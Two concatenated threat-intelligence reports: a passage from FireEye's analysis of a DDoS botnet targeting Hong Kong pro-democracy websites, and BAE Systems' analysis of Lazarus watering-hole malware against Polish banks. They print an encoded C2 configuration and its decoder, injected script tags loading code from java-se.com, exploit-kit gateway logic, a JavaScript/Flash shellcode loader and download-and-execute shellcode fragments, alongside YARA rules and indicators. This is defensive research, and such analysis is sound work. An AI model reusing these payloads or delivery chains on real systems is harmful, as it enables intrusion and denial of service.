]com responded with the following encoded configuration file: cWFPWERPRnlPXl5DRE13JyBjWXhPWkVYXnleS15PFxonIGNZbkVdRGxDRk 94X0QaFxonIGlHTmNuGhcbJyBuRV1EbENGT3hfRH9YRhoXQl5eWhAFBRsaBBo EGwQbHxsFGwRPUk8nIHF/Wk5LXk95T1hcT1h3JyBkT118T1hZQ0VEFxgaGx4 aExgcJyB/Wk5LXk9sQ0ZPf1hGF0JeXloQBQUbGgQaBBsEGx8bBRsET1JPJyBx bm5leXViRVleeV5LXkNZXkNJWXcnIGlFX0Ref1hGFycgfkNHT1gXGCcgcW5uZ Xl1eUlYQ1pebEZFRU53JyBjWXlJWENaXmxGRUVOFxsnIGlHTmNuFxsYGScgeU lYQ1pebEZFRU5uZHkXJyB5SVhDWl5sRkVFTn9YRhdCXl5aEAUFRFJLWkMES1p aRk9OS0NGUwRJRUcEQkEFJyB5SVhDWl5sRkVFTnpFWF4XEhonIGNZbU9ef1hG bENGTxcbJyBjWXlPRE56S0lBT14XGicgfkJYT0tOZkVFWn5DR08XHycgfkJYT 0tOaUVfRF4XGxonIH5DR09YFxkcGicgY1lQ0dPWBcbJyBxbm5leXV5SVhDWl 5sRkVFTnVrG3cnIGNZeUlYQ1pebEZFRU4XGicgaUdOY24XGycgeUlYQ1pebEZ FRU5uZHkXGxoEGgQbBBsfGycgeUlYQ1pebEZFRU5/WEYXGxoEGgQbBBsfGwUb BEJeR0YnIHlJWENaXmxGRUVOekVYXhcSGicgY1ltT15/WEZsQ0ZPFxsnIGNZe U9ETnpLSUFPXhcbJyBQlhPS05mRUVafkNHTxcbJyBQlhPS05pRV9EXhcbJy BQ0dPWBcYGicgY1lQ0dPWBcbJyBxbm5leXV/TlpsRkVFTncnIGNZf05abEZ FRU4XGicgaUdOY24XGycgf05abEZFRU5uZHkXGxoEGgQbBBsfGycgfkJYT0tO aUVfRF4XGycgfkNHT1gXGBonIGNZfkNHT1gXGycgcW5uZXl1f05abEZFRU51a xt3JyBjWX9OWmxGRUVOFxonIGlHTmNuFxsnIH9OWmxGRUVObmR5FxsaBBoEGw QbHxsnIH5CWE9LTmlFX0ReFxsnIH5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV 5dXlTRGxGRUVOdycgY1l5U0RsRkVFThcaJyBpR05jbhcbJyB5U0RsRkVFTm5k eRcbGgQaBBsEGx8bJyB5U0RsRkVFTnpFWF4XEhonIH5CWE9LTmlFX0ReFxsnI H5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV5dX5JWmxGRUVOdycgY1lSVpsRk VFThcaJyBpR05jbhcbJyBSVpsRkVFTm5keRcbGgQaBBsEGx8bJyBSVpsRkV FTnpFWF4XEhonIGNZeU9ETnpLSUFPXhcbJyBQlhPS05pRV9EXhcbJyBQ0dP WBcYGicgY1lQ0dPWBcbJyBxbm5leXVSVpsRkVFTnVrG3cnIGNZfklabEZFR U4XGicgaUdOY24XGycgfklabEZFRU5uZHkXGxoEGgQbBBsfGycgfklabEZFRU 56RVheFxIaJyBjWXlPRE56S0lBT14XGycgfkJYT0tOaUVfRF4XHCcgfkNHT1g XGBonIGNZfkNHT1gXGycg This configuration file can be decoded by stripping the leading and trailing  characters.
At this point, a simple base64 and XOR decode will reveal the plaintext configuration.
The following snippet of python code can be used to decode this command: b64encoded  request.content.rstrip().lstrip() b64decoded  b64encoded.decode(base64) command for c in b64decoded: x  ord(c) x  x  XOR_key command  chr(x) FireEye has observed two different single-byte XOR keys used to encode configuration files issued by the DDOS C2 servers in this campaign.
The two different keys are 0x2A or 0x7E.
The encoded configuration file shown above decodes to: [KernelSetting] IsReportState0 IsDownFileRun00 CmdID01 DownFileRunUrl0http://10.0.1.151/1.exe [UpdateServer] NewVersion20140926 UpdateFileUrlhttp://10.0.1.151/1.exe [DDOS_HostStatistics] CountUrl Timer2 [DDOS_ScriptFlood] IsScriptFlood1 CmdID123 ScriptFloodDNS ScriptFloodUrlhttp://nxapi.appledaily.com.hk/ ScriptFloodPort80 IsGetUrlFile1 IsSendPacket0 ThreadLoopTime5 ThreadCount10 Timer360 IsTimer1 [DDOS_ScriptFlood_A1] IsScriptFlood0 CmdID1 ScriptFloodDNS10.0.1.151 ScriptFloodUrl10.0.1.151/1.html ScriptFloodPort80 IsGetUrlFile1 IsSendPacket1 ThreadLoopTime1 ThreadCount1 Timer20 IsTimer1 [DDOS_UdpFlood] IsUdpFlood0 CmdID1 UdpFloodDNS10.0.1.151 ThreadCount1 Timer20 IsTimer1 [DDOS_UdpFlood_A1] IsUdpFlood0 CmdID1 UdpFloodDNS10.0.1.151 ThreadCount1 Timer20 IsTimer1 [DDOS_SynFlood] IsSynFlood0 CmdID1 SynFloodDNS10.0.1.151 SynFloodPort80 ThreadCount1 Timer20 IsTimer1 [DDOS_TcpFlood] IsTcpFlood0 CmdID1 TcpFloodDNS10.0.1.151 TcpFloodPort80 IsSendPacket1 ThreadCount1 Timer20 IsTimer1 [DDOS_TcpFlood_A1] IsTcpFlood0 CmdID1 TcpFloodDNS10.0.1.151 TcpFloodPort80 IsSendPacket1 ThreadCount6 Timer20 IsTimer1 During the course of our research, weve observed more than 30 different unique configuration files issued by the C2 servers listed above.
These configurations issued commands to attack the following domains and IPs: nxapi.appledaily.com[.
]hk 202.85.162.90 58.64.139.10 202.85.162.97 202.85.162.81 198.41.222.6 202.85.162.101 202.85.162.95 202.85.162.180 202.85.162.140 202.85.162.130 124.217.214.149 All of the above IPs host Next Media or Apple daily websites, with the exception of 58.64.139.10 and 124.217.214.149.
The IP 58.64.139.10 has hosted hkgolden[.
]com  the domain for the HKGolden forum mentioned above.
For approximately 14 hours between October 23rd and 24th, the attackers pushed a configuration update to four controls servers that instructed bots under their control to flood 124.217.214.149 with UDP traffic.
The IP 124.217.214.149 hosted the attacker controlled domain p.java-sec[.
]com.
On Oct. 23, 2014, two of the active controls began instructing participating bots to cease attacks.
By Oct. 24, 2014, all five of the known active control servers were issuing commands to cease the attacks.
It should come as no surprise that hkgolden[.
]com, nextmedia[.
]com, and appledaily.com[.
]hk websites are now or previously have been blocked by the Great Firewall of China  indicating that the PRC has found the content hosted on these sites objectionable.
Links to Previous Activity The most direct connection between these DDoS attacks and previous APT activity is the use of the QTI International and CallTogether code signing certificates, which we have seen in malware attributed to APT activity.
The QTI International digital certificate has been previously used to sign binaries used in APT activity including Operation Poisoned Hurricane.
Specifically, 17bc9d2a640da75db6cbb66e5898feb1 is a PlugX variant signed by the QTI International certificate.
This PlugX variant connected to a Google Code project at code.google[.
]com/p/udom/, where it decoded a command that configured its C2 server.
The sample 0b54ae49fd5a841970b98a078968cb6b was signed with the QTI International certificate as well.
This sample was first observed during a drive-by attack in June 2014, and was downloaded from java-se[.
]com/jp.jpg.
This sample is detected as Backdoor.
APT.Preshin and connected to luxscena[.
]com for C2.
The QTI International certificate was also used to sign e2a4b96cce9de4fb126cfd5f5c73c3ed.
We detect this payload as Backdoor.
APT.PISCES and it used hk.java-se[.
]com for C2.
The java-se[.
]com website was previously used in other attacks targeting the pro-democracy movement in Hong Kong.
We first observed the presence of malicious javascript inserted into Hong Kong Association for Democracy and Peoples Livelihood on June 26, 2014, which appeared as the following: a hrefhttp://www.adpl.org.hk/?p2680 title script languagejavascript srchttp://java-se.com/o.js/script More recently, as noted by Claudio Guarnieri, the website of the Democratic Party of Hong Kong was seen hosting a redirect to the same malicious javascript.
The CallTogether certificate has been used to sign ecf21054ab515946a812d1aa5c408ca5.
We also detect this payload as Backdoor.
APT.PISCES and observed it connect to u.java-se[.
]com.
Both of these certificates are valid but can be detected and blocked via the following Yara signatures: rule callTogether_certificate  meta: author  Fireeye Labs version  1.0 reference_hash  d08e038d318b94764d199d7a85047637 description  detects binaries signed with the CallTogether certificate strings: serial  452156C3B3FB0176365BDB5B7715BC4C o  CallTogether, Inc. condition: serial and o  rule qti_certificate  meta: author  Fireeye Labs reference_hash  cfa3e3471430a0096a4e7ea2e3da6195 description  detects binaries signed with the QTI International Inc certificate strings: cn  QTI International Inc serial   2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 condition: cn and serial  These ongoing DDoS attacks and previous APT intrusion activity both target the hkgolden[.
]com website.
As noted above, this site has been targeted with a DDoS attack by a KernelBot network.
We also found that the hkgolden[.
]com website was compromised on Sept. 5, 2014 and had a redirect to a malicious javascript again hosted at another jave-se[.
]com host, which appeared as follows: document.write(script languagejavascript srchttp://jre76.java- se.com/js/rss.js/script Finally, as noted above the IP 124.217.214.149 was seen hosting the domain p.java-sec[.
]com between Oct. 25, 2014 and Oct. 27, 2014.
As Brandon Dixon noted here, the java-sec[.
]com domain is linked to the java- se[.
]com by shared hosting history at the following IP address: 124.248.237.26 223.29.248.9 211.233.89.182 112.175.143.2 112.175.143.9 http://www.fireeye.com/blog/technical/2014/11/20https://web.archive.org/web/20140905030637/http://hkgolden.com/js/superfish.js https://twitter.com/9bplus https://gist.github.com/9b/bef2907272cc770311c6 It is unclear why these actors would attack an IP address they were actively using.
Its possible that the attackers wanted to test their botnets capability by attacking an IP they were using to gather statistics on the size of the attack.
It is also possible that the attackers simply made a mistake and accidentally issued commands to attack their own infrastructure.
On Oct. 24, 2014, after attacking their own infrastructure, the attackers issued new instructions to their botnet that ceased all attacks.
Conclusion While not conclusive, the evidence presented above shows a link between confirmed APT activity and ongoing DDoS attacks that appear to be designed to silence the Pro Democracy movement in Hong Kong.
The evidence does not conclusively prove that the same actors responsible for the DDoS attacks are also behind the observed intrusion activity discussed above  such as Operation Poisoned Hurricane.
Rather, the evidence may indicate that a common quartermaster supports both the DDoS attacks and ongoing intrusion activity.
In either scenario, there is a clear connection between the intrusion activity documented in Operation Poisoned Hurricane and the DDOS attacks documented here.
While the tactics of these activities are very different from a technical perspective, each supports distinct political objectives.
Operation Poisoned Hurricanes objective appeared to have in part been IP theft possibly for economic gain or other competitive advantages.
In the DDOS attacks, the objective was to silence free speech and suppress the pro democracy movement in Hong Kong.
The Chinese government is the entity most likely to be interested in achieving both of these objectives.
APPENDIX MD5s c3d6450075d618b1edba17ee723eb3ca d08e038d318b94764d199d7a85047637 84bd0809b1dbc2dc86f30d30faaa7e4e 39bb90140fc0101f49377b6c60076f9d caa5529010c17b969da01ade084794c6 17bc9d2a640da75db6cbb66e5898feb1 0b54ae49fd5a841970b98a078968cb6b e2a4b96cce9de4fb126cfd5f5c73c3ed ecf21054ab515946a812d1aa5c408ca5 HOSTNAMES tommo[.
]jp mizma.co[.
]jp sp.you-maga[.
]com nitori-tour[.
]com ninekobe[.
]com shinzenho[.
]jp wizapply[.
]com www.credo-biz[.
]com www.sapporo-digital-photoclub[.
]com wakayamasatei[.
]com luxscena[.
]com java-se[.
]com hk.java-se[.
]com u.java-se[.
]com jre76.java-se[.
]com p.java-sec[.
]com This entry was posted in Threat Intelligence, Threat Research and tagged advanced malware, Cybersecurity, malware, zero-day by Ned Moran, Mike Oppenheim and Mike Scott.
Bookmark the permalink.
http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-malware http://www.fireeye.com/blog/tag/cybersecurity http://www.fireeye.com/blog/tag/malware http://www.fireeye.com/blog/tag/zero-day http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/mike-oppenheim http://www.fireeye.com/blog/author/mscott http://www.fireeye.com/blog/technical/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
Lazarus False Flag Malware baesystemsai.blogspot.co.uk/2017/02/lazarus-false-flag-malware.html Written by Sergei Shevchenko and Adrian Nish BACKGROUND We continue to investigate the recent wave of attacks on banks using watering-holes on at least two financial regulator websites as well as others.
Our initial analysis of malware disclosed in the BadCyber blog hinted at the involvement of the Lazarus threat actor.
Since the release of our report, more samples have come to light, most notably those described in the Polish language niebezpiecznik.pl blog on 7 February 2017.
MD5 hash Filename Compile Time File Info Submitted 9216b29114fb6713ef228370cbfe4045 srservice.chm N/A N/A N/A 8e32fccd70cec634d13795bcb1da85ff srservice.hlp N/A N/A N/A e29fe3c181ac9ddbb242688b151f3310 srservice.dll 2016-10-22 08:08 Win64 DLL 78 KB 2017-01-28 11:58 9914075cc687bdc352ee136ac6579707 fdsvc.exe 2016-08-26 04:19 Win64 EXE 60 KB 2017-02-05 15:14 9cc6854bc5e217104734043c89dc4ff8 fdsvc.dll 2016-08-26 04:11 Encrypted 470 KB 2017-02-05 15:15 Of the hashes provided, only three samples could be found in public malware repositories.
All three had been submitted from Poland in recent weeks.
In the analysis section below we examine these and the false flag approach employed by the attackers in order to spoof the origin of the attack.
The same false flag approach was also found in the SWF-based exploit mentioned in our previous blogpost: MD5 hash Filename File Info Submitted 6dffcfa68433f886b2e88fd984b4995a cambio.swf Adobe Flash 2016-12-07 23:15 Here well analyse these files as well as shed further light on the watering-hole exploit kit code itself, in the hope this aids further detection and network defence.
ANALYSIS Sample 1  srservice.chm 1/17 http://baesystemsai.blogspot.co.uk/2017/02/lazarus-false-flag-malware.html https://niebezpiecznik.pl/post/jak-przeprowadzono-atak-na-knf-i-polskie-banki-oraz-kto-jeszcze-byl-na-celowniku-przestepcow/ http://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html https://2.bp.blogspot.com/-cFguvy5BOIo/WKj_aNeZvrI/AAAAAAAAAj8/UCWNa7cDAtwK-z3cZ6LGxiKq24A5aMKAQCLcB/s1600/client.PNG https://2.bp.blogspot.com/-w7QPsR_36Y0/WKkfIAn_vpI/AAAAAAAAAk8/kW1eYXDjmtcf9rlMCVCFBQ6XNhN-Kbs6gCLcB/s1600/1.png https://4.bp.blogspot.com/-vctUaV0j_eM/WKkfWOeVUBI/AAAAAAAAAlA/O9Pt6R3JRq0w1XFVH7pKfqMr1MaakxpMgCLcB/s1600/2.PNG https://2.bp.blogspot.com/-zffAZPIEPhE/WKke-38TZ0I/AAAAAAAAAk4/6B1Xq7jOM644X5tAjJkwd3ydOXYQcWe5QCLcB/s1600/image4.png https://1.bp.blogspot.com/-CI8P00Qsdec/WKketvi0GRI/AAAAAAAAAkw/OxtWLl7eL50odP0JDkHjj3sSdcBr8_qXQCLcB/s1600/image5.png https://1.bp.blogspot.com/-4gI5iFaSfms/WKrFleVRAxI/AAAAAAAAAmU/J6lYGL2Jz7kqIXKzQJsN8W64w5XLvGipACLcB/s1600/schema.png Most likely, this file is an encrypted backdoor that is decrypted and injected by DLL loader.
The filename srservice.chm is consistent with the method in which a known Lazarus toolkit module constructs CHM and HLP file names: SYSTEMROOT\Help\MODULE_NAME.chm SYSTEMROOT\Help\MODULE_NAME.hlp Sample 2  srservice.hlp Most likely, this file is an encrypted configuration file, which is decrypted and loaded by the sample 1 (srservice.chm).
Sample 3  srservice.dll This DLL loads, decrypts and injects the CHM file into the system lsass.exe process.
Sample 4  fdsvc.exe This file is a command line tool that accepts several parameters such as encrypted file name and process ID.
The tool reads and decrypts the specified file, and then injects it into the specified process or into the system process explorer.exe.
The encryption consists of a running XOR, followed with RC4, using the 32-byte RC4 key below: A6 EB 96 00 61 B2 E2 EF 0D CB E8 C4 5A F1 66 9C A4 80 CD 9A F1 2F 46 25 2F DB 16 26 4B C4 3F 3C Sample 5  fdsvc.dll The file fdsvc.dll is an encrypted file, successfully decrypted into a valid DLL (MD5: 889e320cf66520485e1a0475107d7419) by the aforementioned executable fdsvc.exe.
Once decrypted, it represents itself as a bot that accepts the CC name and port number(s) as a string parameter that is used to call the DLL.
The parameter is encoded with an XOR loop that includes XOR key cEzQfoPw.
Multiple CC servers can be delimited with the  character and port numbers are delimited from the CC servers with the : character.
Once the bot has established communication with the remote CC, it uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands, such as: 2/17 Word State/Backdoor Command Nachalo start communication session ustanavlivat handshake state poluchit receive data pereslat send data derzhat maintain communication session vykhodit exit communication session The binary protocol is custom.
For example, during the ustanavlivat (handshake) mode, the bot accepts 4 bytes, which are then decrypted.
The decryption is a loop that involves multiple XOR operations performed over the received data.
Once decrypted, the 4 bytes indicate the size of the next data chunk to be received.
The next received data chunk is also decrypted, and its contents checked to see whether its one of the backdoor commands.
For example, the poluchit command instructs the bot to receive the file, and the pereslat (send) command instructs the bot to upload the file.
The received poluchit command may also contain a URL, marked with another transliterated Russian word ssylka (link).
In this case, the remote file is fetched in a separate thread.
If a received data chunk contains the command vykhodit, the bot quits its backdoor loop.
The bot implements the SSL/TLS protocol, and is based on a source code of Curl v7.49.1.
Hence, it is able to transfer files via HTTP, HTTPS, FTP, SMTP and many other protocols, with full support of user/password authentication (Basic, Digest, NTLM, Negotiate, Kerberos), proxies and SSL certificates.
Russian language used in fdsvc.dll In spite of some Russian words being used, it is evident that the malware author is not a native Russian speaker.
Of our previous examples, five of the commands were likely produced by an online translation.
Below we provide the examples and the correct analogues for reference: Word Type of error Correct analogue ustanavlivat omitted sign at the end, verb tense error ustanovit or ustanoviti poluchit omitted sign at the end poluchit or poluchiti pereslat omitted sign at the end pereslat or pereslati derzhat omitted sign at the end derzhat or derzhati 3/17 vykhodit omitted sign at the end, verb tense error vyiti Another example is kliyent2podklyuchit.
This is most likely a result of an online translation of client2connect (which means client-to-connect).
In this case, the two words client and connect were translated separately, then transliterated from the Russian pronunciation form into the Latin alphabet and finally joined to produce kliyent2podklyuchit.
Such a result may look impressive to the bots author, but would be difficult to understand for native Russian speakers.
Here we provide an example of translating the word client in Russian - the word kliyent here only demonstrates phonetic pronunciation, not how its actually written in a transliterated form.
When formed using the Latin alphabet, it would actually be written client or klient.
Due to such inconsistencies, we conclude that the Russian language is likely used as a decoy tactic, in order to spoof the malwares country of origin.
Sample 6  cambio.swf During the investigation of the watering-hole incident, the owner of a compromised website shared with us a malicious implant that was added into the site, presumably by using an exploit against JBoss 5.0.0.
The script is called view_jsp.java and is accessed from the watering-hole website as view.jsp.
This script is responsible for serving cambio.swf.
The infection starts from a primary web site being compromised so that its visitors are redirected into a secondary website, calling its view.jsp script from an added IFrame.
The initial request contains parameter pagenum set to 1, such as: GET /[PATH]/view.jsp?pagenum1 HTTP/1.1 This begins the profiling and filtering to identify potential victims.
For example, the script then checks to see if the 4/17 clients IP is black-listed.
If so, such initial request is rejected.
Next, the script checks if the clients IP is white-listed (i.e.
targeted).
If not white-listed, it is also rejected.
Hence, unless the visitors IP is on the attackers list, the script will not attempt to infect their machine.
This helps the infected websites stay undetected for relatively long period of time, as they only serve exploits to the selected targets.
In the next stage of the script, it builds and serves back to the client an HTML page with an embedded JavaScript that detects the type of clients browser (Internet Explorer, Google Chrome, Firefox, Safari, or Opera), OS version, and the loaded plugins, such as Adobe Flash and Microsoft Silverlight.
The script executed on a client side then builds a form, and submits it back to the gateway script, as shown below: The submitted form specifies the pagenum parameter to be set to 2, to advance the script to the next step: 5/17 Once the script accepts the incoming request and finds the forms pagenum value is 2, it reads other fields from the submitted form and decides which exploit to serve back to the client.
At the time of writing, the exploit kit known to serve back two exploits, for Adobe Flash and Microsoft Silverlight, though these could be expanded upon as needed.
The exploits can be individually enabled or disabled by the attackers with the standalone file config.dat.
For example, to enable both exploits (flag1), the contents of this file can be set to: 2016-0034:1 0000-0001:1 where 2016-0034 identifies the Silverlight exploit, and 0000-0001 is the Flash exploit.
If the script detects that the submitted form contains a non-empty version of Silverlight browser plugin, it will generate and serve back a Silverlight exploit.
If the submitted form has a non-empty version of Adobe Flash browser plugin, the script will generate and serve back the Flash exploit.
If the client has both plugins loaded within the browser, then the script will serve the Flash exploit only.
NOTE: the script only serves the Flash exploit if the browser is Internet Explorer.
The exploits are generated by the functions: genExp_20160034()  to generate Silverlight exploit genExp_00000001()  to generate Flash exploit The latter is explained in further detail below.
First, the script builds URL string named as download_url: 01 String PARAMNAME_UID  uid 6/17 02 String PARAMNAME_PAGENUM  pagenum 03 String PARAMNAME_EXPLOITID  eid 04 String PARAMNAME_STATUS  s 05 String PARAMNAME_DATA  data 06 07 download_url  request.getRequestURL()  08 ?
PARAMNAME_UID    uid 09   PARAMNAME_PAGENUM  3 10   PARAMNAME_EXPLOITID 11   exploit.get(eid) 12 ... 13 download_url  download_url 14   PARAMNAME_STATUS  2 15   PARAMNAME_DATA For example, the URL string may look like: http://[WEB_SITE]/view.jsp?uid30304811pagenum3eid00000002s2data Note that the pagenum parameter of the URL has now advanced to 3 (third step of the view.jsp execution).
This URL string will be embedded by the genExp_00000001() function into the body of the shellcode.
The output of the genExp_00000001() function is JavaScript that has the following format  this script will be executed inside the clients browser: 01 var laskfji  PGh0bWw.. // long string here 02 asdlfkj  function(s) 03 // base64-decode string s 04 7/17 05 var polkio  asdlfkj(laskfji) 06 var poikea  document.write(polkio) 07 eval(poikea) Once the string s is base64-decoded by client-based JavaScript, it will look like a Flash object embedded into HTML: 01 html 02 body 03 object classidclsid:d27cdb6e-ae6d-11cf-96b8- 444553540000 04 codebasehttp://download.macromedia.com/.../swflash.cab 05 width1 06 height1 07 param namemovie valueinclude/cambio.swf / 08 param nameallowScriptAccess valuealways / 09 param nameFlashVars 10 valueshell558BEC83...00Healthpolki89jdmks / 11 param namePlay valuetrue / 12 embed typeapplication/x-shockwave-flash 13 width1 14 height1 15 srcinclude/cambio.swf 16 allowScriptAccessalways 17 FlashVarsshell558BEC83...00Healthpolki89jdmks 18 Playtrue/ 19 /object 8/17 20 /body 21 /html As seen in the Flash object parameters, the SWF object is served from the websites path: include/cambio.swf However, the SWF object is also accompanied with 2 extra parameters: SWF Parameter Value shell 558BEC83EC388D45C8C745F... Health polki89jdmks By looking into the decompiled cambio.swf file, its ActionScript reveals that the SWF file indeed expects 2 parameters: Health and shell.
The value of Health is used as an XOR key to decode the binary blob orinBin, which is included in the SWF file.
This blob is then loaded with loadBytes(), as shown below: 01 objLoader  new Loader() 02 this.params  loaderInfo.parameters 03 ... 04 var key:String  params[Health] as String 05 var pShell:String  params[shell] as String 06 var objShellData:SharedObject SharedObject.getLocal(Exp_Data) 07 objShellData.clear() 08 objShellData.data.shell  pShell 09 objShellData.flush() 10 var blob:ByteArray  new orinBin() as ByteArray 11 var i:int  0 12 while(i  blob.length) 9/17 13 14 blob[i]  blob[i]  key.charCodeAt(i  key.length) 15 i 16 17 blob.position  0 18 objLoader.contentLoaderInfo.addEventListener(complete,fncomp) 19 objLoader.loadBytes(blob) Below is the binary blob orinBin as seen within the SWF file: By knowing the value of Health parameter, it is now possible to use it as an XOR key to decode the orinBin blob within the SWF code.
Once decrypted, the orinBin blob presents another SWF file.
This time, it contains 3 encrypted blobs within: bin22, bin23, and bin24 seen below: The code decrypts the blobs with RC4, using littleEndian as the RC4 key.
These blobs also turn out to be SWF files that contain the SWF exploit code.
Internally, the ActionScript also uses transliterated Russian words, similar to the tactic seen in the bot code: Transliterated Russian words used in AS Translated from Russian Podgotovkaskotiny Preparation of farm animals 10/17 geigeigei3raza Hey, hey, hey 3 times chainik Dummy (a stupid person) chainikaddress Dummys address poishemdatu Lets search for data poiskvpro Searching in pro vyzov_chainika Calling the dummy (a stupid person) daiadreschainika Get address of the dummy runskotina Execute farm animals babaLEna Old woman Lena As seen in the table, while the words are technically Russian, their usage is out-of-context.
In one code fragment, the ActionScript contains both chainik and dummy: 01 private function put_dummy_args(param1:) :  02 03 return chainik.call.apply(null,param1) 04 05 private function vyzov_chainika() : 06 07 return chainik.call(null) 08 As such, it is obvious that the word dummy has been translated into chainik.
However, the word chainik in Russian slang (with the literal meaning of a kettle) is used to describe an unsophisticated person, a newbie while, the word dummy in the exploit code is used to mean a placeholder or an empty data structure/argument.
In the same way, it is likely the word farm animals was originally used to represent a beast.
Yet, it has been translated into a word that is only synonymous to the beast in a certain context.
As a result, they have used the words farm animals across the shellcode instead of beast which makes little sense.
11/17 As in the case of sample 5 (fdsvc.dll), it is likely that this loose Russian translation, evidently performed by a non-Russian speaker, is intended to spoof the malware origin.
Shellcode The SWFs ActionScript then loads and executes the shellcode that was passed to the SWF file.
As with the Health parameter, by having access to the server-side code it is now possible to analyse what shellcode has been served to be executed via SWF file.
The shellcode consists of 2,372 bytes of a Win32-code (in fact, 2,369 bytes padded with three zero bytes to make it 4-byte aligned).
The shellcode passed via the shell parameter consists of two parts: The first part of the shellcode (818 bytes) creates a hidden process of notepad.exe.
It then injects the second part of the shellcode into it using the VirtualAlloc() and WriteProcessMemory() APIs, and finally it runs the injected code with CreateRemoteThread() API.
The second part of the shellcode (1,551 bytes) is encoded with XOR 0x57: seg000:00000316 mov    ecx, 1551    counter seg000:0000031B mov    ebx, 57h     XOR key seg000:00000320 loop: seg000:00000320 xor    [eax], ebx seg000:00000322 dec    ecx          decrement counter seg000:00000323 inc    eax          advance pointer seg000:00000324 test   ecx, ecx seg000:00000326 jnz    short loop Its worth noting that both parts of the shellcode load the APIs similarly to all other tools from the Lazarus toolset, e.g.
: 01 urlmon_dll  mlrU            // Urlm 02 urlmon_dll_4  d.no          // on.d 12/17 03 urlmon_dll_8  ll            // ll 04 URLDownloadToFileW  DLRU    // URLD 05 URLDownloadToFileW_4  lnwo  // ownl 06 URLDownloadToFileW_8  Tdao  // oadT 07 URLDownloadToFileW_12  liFo // oFile 08 URLDownloadToFileW_16  We   // eW 09 hLib  LoadLibrary(urlmon.dll) 10 ptr[8]  ((int)ptr[4])(hLib,   // ptr[4]-GetProcAddress 11                         URLDownloadToFileW) Once decoded, the second part of the shellcode reads the URL embedded at the end, then downloads and saves a file under a temporary file name, using the prefix tmp.
Next, it reads the temporary file into memory, decrypts it with the following XOR loop, starting from the 318th byte: 01 for (i  317 i  file_size i ) 02 03 buffer[i]  0xCC  ((buffer[i]  0xCC) 4) 04 Next, it makes the decoded data executable by assigning it PAGE_EXECUTE_READWRITE memory protection mode, and calls it, as shown below: 01 ((void)(ptr[68]))(buffer  318,      // ptr[68]-VirtualProtect 02                    file_size - 318,   // skip the first 318 bytes 03                    PAGE_EXECUTE_READWRITE, 04                    oldProtect) 05 ((void ()(void))(buffer  318))()   // CALL from the 318th byte 13/17 This way, the 2nd part of the shellcode downloads a binary from the same gateway script as before.
pagenum3 means its a 3rd step  a step of serving the next chunk of the shellcode.
To understand the next step we need to go back to the gateway script to see how it processes the pagenum3 request.
When the script receives a pagenum3 request, it checks the s URL parameter (status).
Initially, this parameter is set to 2 (s2, as seen in the aforementioned URL embedded into the SWF exploit).
Thus, the script will read and output the contents of 2 files stored on the web server: files/mark180789172360.ico files/back283671047171.dat The first file is likely a valid ICO file, is 318 bytes in size, and its contents are not encoded (hence the reason why the shellcode skips the first 318 bytes, and only decodes the rest).
The second file is a 3rd chunk of the shellcode, and its contents are encoded.
In addition to these 2 files, the output is appended with a URL.
This time, it will specify pagenum parameter set to 3, but the status parameter s will now be set to 3.
For example, the URL may look like: http://[WEB_SITE]/view.jsp?uid30304811pagenum3s3 The appended URL will then be encoded the same way as the file back283671047171.dat: 01 for (int i  0 i  len  9 i) 02 03 byte var  b[i] 04 byte temp  (byte)((var  4) 0x0F) 05 var  (byte)(var  temp) 06 var  (byte)(var  0xCC) 07 b[i]  var 08 This way, the encoded URL becomes an integral part of the 3rd part of the shellcode  same way as the 2nd part of the shellcode was appended with a URL.
Following that, the script serves back a blob that consists of three parts: files/mark180789172360.ico, not encoded (318 bytes) files/back283671047171.dat, encoded 14/17 download URL, encoded It is served back as a binary file, disguised as an icon file probg[RANDOM].ico, probably in an attempt to bypass network sniffers (in other words, the encrypted shellcode is served appended to a valid icon file): response.setHeader(Accept-Ranges, bytes) response.setHeader(Content-Length, String.format(d, response_len)) response.setHeader(Content-Disposition, attachmentfilename\probg rand.nextInt(9000)  10000  .ico\) response.setHeader(Content-Type, application/octet-stream) Once this 3rd part of the shellcode is served back to the shellcode that runs on a client side, it will skip the first 318 bytes, decode the rest and execute it.
This will invoke another binary download  this time identified with the status value of 3 (s3).
The new binary is generated by view.jsp script and is almost identical to the 3rd part of the shellcode.
The only difference is that the binary blob consists of these files: files/mark180789172360.ico, not encoded (318 bytes), as before files/meml102783047891.dat, encoded The 2nd file is now different, and the URL is no longer appended.
The reason why the new binary does not need the URL embedded may be that this binary contains an actual malicious executable, detached, decoded, and executed by the shellcode, thus leading to a full compromise of the victim.
Indeed, as seen in the web log below, the last GET request with the pagenum3 and s3 parameters is served with a 123,710-byte response  large enough to accommodate a PE-executable: GET /[PATH]/view.jsp?pagenum1 HTTP/1.1 200 66148 POST /[PATH]/view.jsp HTTP/1.1 200 13991 GET /[PATH]/view.jsp?uid30304811pagenum3eid00000002s2data HTTP/1.1 200 4642 GET /[PATH]/view.jsp?uid30304811pagenum3s3 HTTP/1.1 200 123710 NOTE: At the time of analysis, the ICO/DAT files were not available.
Hence, their contents remains unknown.
Overall Scheme The following scheme illustrates the steps outlined above: 15/17 CONCLUSIONS Here we have analysed further files from the recent watering-hole attacks directed at Polish financial institutions and others.
Evidently, the Lazarus group are continuing their campaign targeting banking networks.
Their watering-hole mechanism is fairly sophisticated  its multiple stages are designed to complicate analysis of its malware distribution, and at the same, stay undetected for as long as possible.
Because of the previously disclosed attribution links, the group are also resorting to some trickery.
Through reverse-engineering, we can see the use of many Russian words that have been translated incorrectly.
In some cases the inaccurate translations have transformed the meaning of the words entirely.
This strongly implies that the authors of this attack are not native Russian speakers and, as such, the use of Russian words appears to be a false flag.
Clearly the group behind these attacks are evolving their modus operandi in terms of capabilities  but also it seems theyre attempting to mislead investigators who might jump to conclusions in terms of attribution.
